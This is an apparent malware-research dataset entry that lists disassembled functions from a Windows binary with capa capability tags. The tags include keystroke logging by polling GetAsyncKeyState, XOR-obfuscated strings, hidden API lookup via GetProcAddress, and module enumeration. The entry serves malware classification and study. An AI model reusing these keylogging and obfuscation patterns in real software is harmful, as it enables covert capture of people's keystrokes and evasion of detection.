joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800513c0
Capabilities:
Encode data using xor
Log keystrokes
Log keystrokes via polling

Disassembly:
push rbx
sub rsp, 0x140
mov rax, qword [0x18010f070]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov eax, edx
mov qword [rsp + 0x20], rcx
mov rbx, rcx
xor edx, edx
mov ecx, eax
call qword [sym.imp.USER32.dll_MapVirtualKeyA]
shl eax, 0x10
mov r8d, 0x100
mov ecx, eax
lea rdx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetKeyNameTextA]
xor edx, edx
test eax, eax
jne 0x180051471
mov dword [rsp + 0x20], 0x181e1a26
mov ecx, edx
mov dword [rsp + 0x24], 0x170f18
mov byte [rsp + 0x28], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x73]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 7
jb 0x180051430
mov qword [rbx], rdx
lea rax, [rsp + 0x20]
mov qword [rbx + 0x10], rdx
mov r8, 0xffffffffffffffff
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], dl
mov byte [rsp + 0x28], dl
inc r8
cmp byte [rax + r8], dl
jne 0x180051461
lea rdx, [rsp + 0x20]
jmp 0x18005149e
mov qword [rbx], rdx
lea rax, [rsp + 0x30]
mov qword [rbx + 0x10], rdx
mov r8, 0xffffffffffffffff
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], dl
nop
inc r8
cmp byte [rax + r8], dl
jne 0x180051490
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.18006d420
mov rax, rbx
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1800d5ca0
add rsp, 0x140
pop rbx
ret

Function at 0x1800514d0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 8], 0
je 0x1800514f3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 7
jb 0x1800514e0
mov byte [rcx + 8], 0
mov rax, rcx
ret

Function at 0x180051600
Capabilities:
Log keystrokes via polling

Disassembly:
sub rsp, 0x28
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
setne al
add rsp, 0x28
ret
Function at 0x1800536f0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 6], 0
je 0x180053713
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 5
jb 0x180053700
mov byte [rcx + 6], 0
mov rax, rcx
ret

Function at 0x180053c30
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x13], 0
je 0x180053c53
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x12
jb 0x180053c40
mov byte [rcx + 0x13], 0
mov rax, rcx
ret

Function at 0x180053c60
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 3], 0
je 0x180053c83
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 2
jb 0x180053c70
mov byte [rcx + 3], 0
mov rax, rcx
ret

Function at 0x180053c90
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xc], 0
je 0x180053cb3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xb
jb 0x180053ca0
mov byte [rcx + 0xc], 0
mov rax, rcx
ret

Function at 0x180053cc0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x14], 0
je 0x180053ce3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x13
jb 0x180053cd0
mov byte [rcx + 0x14], 0
mov rax, rcx
ret

Function at 0x180053cf0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xf], 0
je 0x180053d13
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xe
jb 0x180053d00
mov byte [rcx + 0xf], 0
mov rax, rcx
ret

Function at 0x1800544f0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xe], 0
je 0x180054513
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xd
jb 0x180054500
mov byte [rcx + 0xe], 0
mov rax, rcx
ret

Function at 0x180055300
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 4], 0
je 0x180055323
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 3
jb 0x180055310
mov byte [rcx + 4], 0
mov rax, rcx
ret

Function at 0x180055330
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 7], 0
je 0x180055353
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 6
jb 0x180055340
mov byte [rcx + 7], 0
mov rax, rcx
ret

Function at 0x1800585e0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xa], 0
je 0x180058603
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 9
jb 0x1800585f0
mov byte [rcx + 0xa], 0
mov rax, rcx
ret

Function at 0x180058610
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x11], 0
je 0x180058633
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x10
jb 0x180058620
mov byte [rcx + 0x11], 0
mov rax, rcx
ret
Function at 0x180066020
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x12], 0
je 0x180066043
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x11
jb 0x180066030
mov byte [rcx + 0x12], 0
mov rax, rcx
ret

Function at 0x180066050
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x17], 0
je 0x180066073
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x16
jb 0x180066060
mov byte [rcx + 0x17], 0
mov rax, rcx
ret

Function at 0x180066080
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x18], 0
je 0x1800660a3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x17
jb 0x180066090
mov byte [rcx + 0x18], 0
mov rax, rcx
ret

Function at 0x1800660b0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x16], 0
je 0x1800660d3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x15
jb 0x1800660c0
mov byte [rcx + 0x16], 0
mov rax, rcx
ret

Function at 0x1800660e0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x15], 0
je 0x180066103
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x14
jb 0x1800660f0
mov byte [rcx + 0x15], 0
mov rax, rcx
ret

Function at 0x180066110
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x1a], 0
je 0x180066133
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x19
jb 0x180066120
mov byte [rcx + 0x1a], 0
mov rax, rcx
ret

Function at 0x180066140
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x1b], 0
je 0x180066163
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x1a
jb 0x180066150
mov byte [rcx + 0x1b], 0
mov rax, rcx
ret

Function at 0x180066170
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x1c], 0
je 0x180066193
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x1b
jb 0x180066180
mov byte [rcx + 0x1c], 0
mov rax, rcx
ret

Function at 0x1800661a0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xb], 0
je 0x1800661c3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xa
jb 0x1800661b0
mov byte [rcx + 0xb], 0
mov rax, rcx
ret

Function at 0x1800661d0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x19], 0
je 0x1800661f3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x73]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x18
jb 0x1800661e0
mov byte [rcx + 0x19], 0
mov rax, rcx
ret
Function at 0x180066b30
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x280
mov rax, qword [0x18010f070]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov ebx, r8d
mov rsi, rcx
mov qword [rsp + 0x28], rcx
xor eax, eax
mov dword [rsp + 0x20], eax
mov qword [rcx], rax
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rcx], al
mov dword [rsp + 0x20], 1
lea ecx, [rax + 0xf]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rsp + 0x30], 0x238
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x180066be7
mov ecx, dword [rsp + 0x48]
cmp ebx, ecx
jb 0x180066bb4
add ecx, dword [rsp + 0x50]
cmp ebx, ecx
jbe 0x180066bc4
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Module32Next]
jmp 0x180066ba0
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x180066bd0
lea rdx, [rsp + 0x60]
mov rcx, rsi
call fcn.18006d420
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1800d5ca0
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x180066c20
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x18010f070]
xor rax, rsp
mov qword [rbp - 0x10], rax
movdqa xmm0, xmmword [0x1800fb6f0]
xor eax, eax
mov qword [rbp - 0x18], rax
mov edx, eax
mov dword [rbp - 0x20], eax
mov rbx, rcx
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0xeed1eaec
mov dword [rbp - 0x2c], 0xeee8edf5
mov word [rbp - 0x28], 0x100
nop dword [rax]
lea ecx, [rdx + 0x73]
xor byte [rbp + rdx - 0x40], cl
inc rdx
cmp rdx, 0x18
jb 0x180066c70
mov byte [rbp - 0x27], al
mov dword [rbp - 0x50], 0x1a11001d
mov dword [rbp - 0x4c], 0x161d561b
mov word [rbp - 0x48], reloc.WS2_32.dll_socket
mov byte [rbp - 0x46], 1
nop dword [rax + rax]
lea ecx, [rax + 0x73]
xor byte [rbp + rax - 0x50], cl
inc rax
cmp rax, 9
jb 0x180066ca0
lea rcx, [rbp - 0x50]
mov byte [rbp - 0x46], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 8
lea rcx, [rbp - 0x20]
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x18]
mov rcx, rbx
lea edx, [r9 + 1]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1800d5ca0
mov rbx, qword [rsp + 0x98]
add rsp, 0x80
pop rbp
ret
Function at 0x180069100
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x18010f070]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rdi, rdx
mov r14, rcx
mov qword [rsp + 0x40], rdx
mov rcx, rdx
call fcn.18004beb0
mov rcx, qword [rdi + 0x18]
mov rdx, qword [rdi + 0x10]
cmp rcx, 0x10
jb 0x18006914c
mov rsi, qword [rdi]
lea rbp, [rdx + rsi]
mov rbx, rsi
jmp 0x180069156
lea rbp, [rdi + rdx]
mov rbx, rdi
mov rsi, rdi
cmp rbx, rbp
je 0x18006917c
sub rsi, rbx
nop
movsx ecx, byte [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov byte [rsi + rbx], al
inc rbx
cmp rbx, rbp
jne 0x180069160
mov rdx, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
mov r8, rdi
cmp rcx, 0x10
jb 0x180069188
mov r8, qword [rdi]
movabs r9, 0xcbf29ce484222325
xor r15d, r15d
mov ecx, r15d
test rdx, rdx
je 0x1800691c4
movabs r10, 0x100000001b3
nop word [rax + rax]
movzx eax, byte [rcx + r8]
xor r9, rax
imul r9, r10
inc rcx
cmp rcx, rdx
jb 0x1800691b0
mov r8, rdi
lea rdx, [rsp + 0x20]
mov rcx, r14
call fcn.180076730
mov rbx, qword [rax + 8]
test rbx, rbx
je 0x1800691ec
cmp rbx, qword [r14 + 8]
je 0x1800691ec
mov rbx, qword [rbx + 0x30]
jmp 0x1800692b3
mov rbx, qword [r14 + 0x48]
sub rbx, qword [r14 + 0x40]
sar rbx, 6
mov r8, rdi
lea rdx, [rsp + 0x20]
mov rcx, r14
call fcn.180071600
mov rcx, qword [rax]
mov qword [rcx + 0x30], rbx
mov qword [rsp + 0x20], r15
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x38], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x20], r15b
mov rsi, qword [r14 + 0x48]
cmp rsi, qword [r14 + 0x50]
je 0x18006925f
mov rdx, rdi
mov rcx, rsi
call fcn.18006b510
movups xmm0, xmmword [rsp + 0x20]
movups xmmword [rsi + 0x20], xmm0
movups xmm1, xmmword [rsp + 0x30]
movups xmmword [rsi + 0x30], xmm1
mov edx, reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x20], 0
add qword [r14 + 0x48], 0x40
jmp 0x180069278
lea r9, [rsp + 0x20]
mov r8, rdi
mov rdx, rsi
lea rcx, [r14 + 0x40]
call fcn.1800709c0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x1800692b3
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800692ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800692ae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800d5f5c
shl rbx, 6
add rbx, qword [r14 + 0x40]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x1800692f1
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x1800692ec
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180069325
mov rcx, r8
call fcn.1800d5f5c
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
lea rax, [rbx + 0x20]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1800d5ca0
mov rbx, qword [rsp + 0x90]
add rsp, 0x50
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x180069330
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0xb0
mov rax, qword [0x18010f070]
xor rax, rsp
mov qword [rsp + 0xa0], rax
mov rbx, rdx
mov r14, rcx
mov qword [rsp + 0x98], rdx
mov rcx, rdx
call fcn.18004beb0
mov rcx, qword [rbx + 0x18]
mov rdx, qword [rbx + 0x10]
cmp rcx, 0x10
jb 0x180069387
mov rsi, qword [rbx]
lea rbp, [rdx + rsi]
mov rdi, rsi
jmp 0x180069391
lea rbp, [rdx + rbx]
mov rdi, rbx
mov rsi, rbx
cmp rdi, rbp
je 0x1800693bc
sub rsi, rdi
nop dword [rax]
movsx ecx, byte [rdi]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov byte [rdi + rsi], al
inc rdi
cmp rdi, rbp
jne 0x1800693a0
mov rdx, qword [rbx + 0x10]
mov rcx, qword [rbx + 0x18]
mov r8, rbx
cmp rcx, 0x10
jb 0x1800693c8
mov r8, qword [rbx]
xor ecx, ecx
movabs r9, 0xcbf29ce484222325
test rdx, rdx
je 0x180069404
movabs r10, 0x100000001b3
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rcx + r8]
xor r9, rax
imul r9, r10
inc rcx
cmp rcx, rdx
jb 0x1800693f0
mov r8, rbx
lea rdx, [rsp + 0x20]
mov rcx, r14
call fcn.180076730
mov rcx, qword [rax + 8]
test rcx, rcx
je 0x18006942c
cmp rcx, qword [r14 + 8]
je 0x18006942c
mov rsi, qword [rcx + 0x30]
jmp 0x1800694e6
mov rcx, qword [r14 + 0x48]
sub rcx, qword [r14 + 0x40]
movabs rax, 0x8888888888888889
imul rcx
lea rsi, [rcx + rdx]
sar rsi, 6
mov rax, rsi
shr rax, 0x3f
add rsi, rax
mov r8, rbx
lea rdx, [rsp + 0x88]
mov rcx, r14
call fcn.180071600
mov rcx, qword [rax]
mov qword [rcx + 0x30], rsi
lea rcx, [rsp + 0x30]
call fcn.18006c980
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], 0
mov rdi, qword [r14 + 0x48]
cmp rdi, qword [r14 + 0x50]
je 0x1800694bd
mov qword [rsp + 0x20], rdi
mov rdx, rbx
mov rcx, rdi
call fcn.18006b510
nop
lea rcx, [rdi + 0x20]
lea rdx, [rsp + 0x30]
call fcn.18007b660
nop
add qword [r14 + 0x48], 0x78
jmp 0x1800694d2
lea r9, [rsp + 0x30]
mov r8, rbx
mov rdx, rdi
lea rcx, [r14 + 0x40]
call fcn.180070b90
nop
lea rcx, [rsp + 0x70]
call fcn.18006dcb0
lea rcx, [rsp + 0x30]
call fcn.18004d450
imul rdi, rsi, 0x78
add rdi, qword [r14 + 0x40]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x180069524
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x18006951f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180069563
mov rcx, r8
call fcn.1800d5f5c
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
lea rax, [rdi + 0x20]
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.1800d5ca0
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x1800698e0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r14, rdx
mov rdi, rcx
je 0x180069917
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rsi
mov rsi, rbx
mov r9, qword [rax]
test r9, r9
je 0x180069938
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x18006993a
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x180069993
test ecx, ecx
jle 0x180069973
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
sub rbx, rbp
add r14, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x180069993
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x180069993
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov rbp, qword [rsp + 0x30]
sub rsi, rbx
mov rbx, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x1800699c0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x1800699e2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x1800699f8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x180069a14
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x180069a16
xor ecx, ecx
mov qword [rsp + 0x20], rdi
movsxd rax, ecx
test ecx, ecx
je 0x180069a50
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
sub rbx, rdi
add r14, rdi
mov r8, rbx
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x180069af7
mov r9, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r9], rax
jne 0x180069a8b
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r9], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
mov rdi, r8
cmp r8, 0xfff
jbe 0x180069ad1
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
add r14, rax
mov rdi, rbx
cmp rax, 0xfff
jne 0x180069b10
cmp rbx, rax
ja 0x180069aa0
mov r8, rdi
test rdi, rdi
je 0x180069af7
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov r8, rdi
sub r8, rax
sub rbp, r8
mov rdi, qword [rsp + 0x20]
mov rax, rbp
mov rbx, qword [rsp + 0x28]
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
sub rbp, rbx
jmp 0x180069afa
Function at 0x180069f20
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x18010f070]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x180069f4d
xor eax, eax
jmp 0x18006a0a2
mov rdx, qword [rcx + 0x40]
mov rax, qword [rdx]
test rax, rax
je 0x180069f78
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
add r8, rax
cmp rax, r8
jae 0x180069f78
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], dil
mov eax, edi
jmp 0x18006a0a2
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x18006a095
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x180069fbb
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x180069fe6
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x18006a09a
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x18006a055
sub eax, 1
je 0x18006a055
cmp eax, 2
jne 0x18006a095
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x18006a09a
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x18006a083
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x18006a095
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x18006a09a
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1800d5ca0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x18006c650
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x18010f070]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x18006c723
cmp byte [rcx + 0x71], 0
je 0x18006c723
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x18006c71f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x18006c6e4
sub eax, 1
je 0x18006c6e8
cmp eax, 2
jne 0x18006c71f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1800d5ca0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x18006c716
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x18006c71f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x18006c6cc
xor al, al
jmp 0x18006c6cc
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1800d5ca0
add rsp, 0x60
pop rbx
ret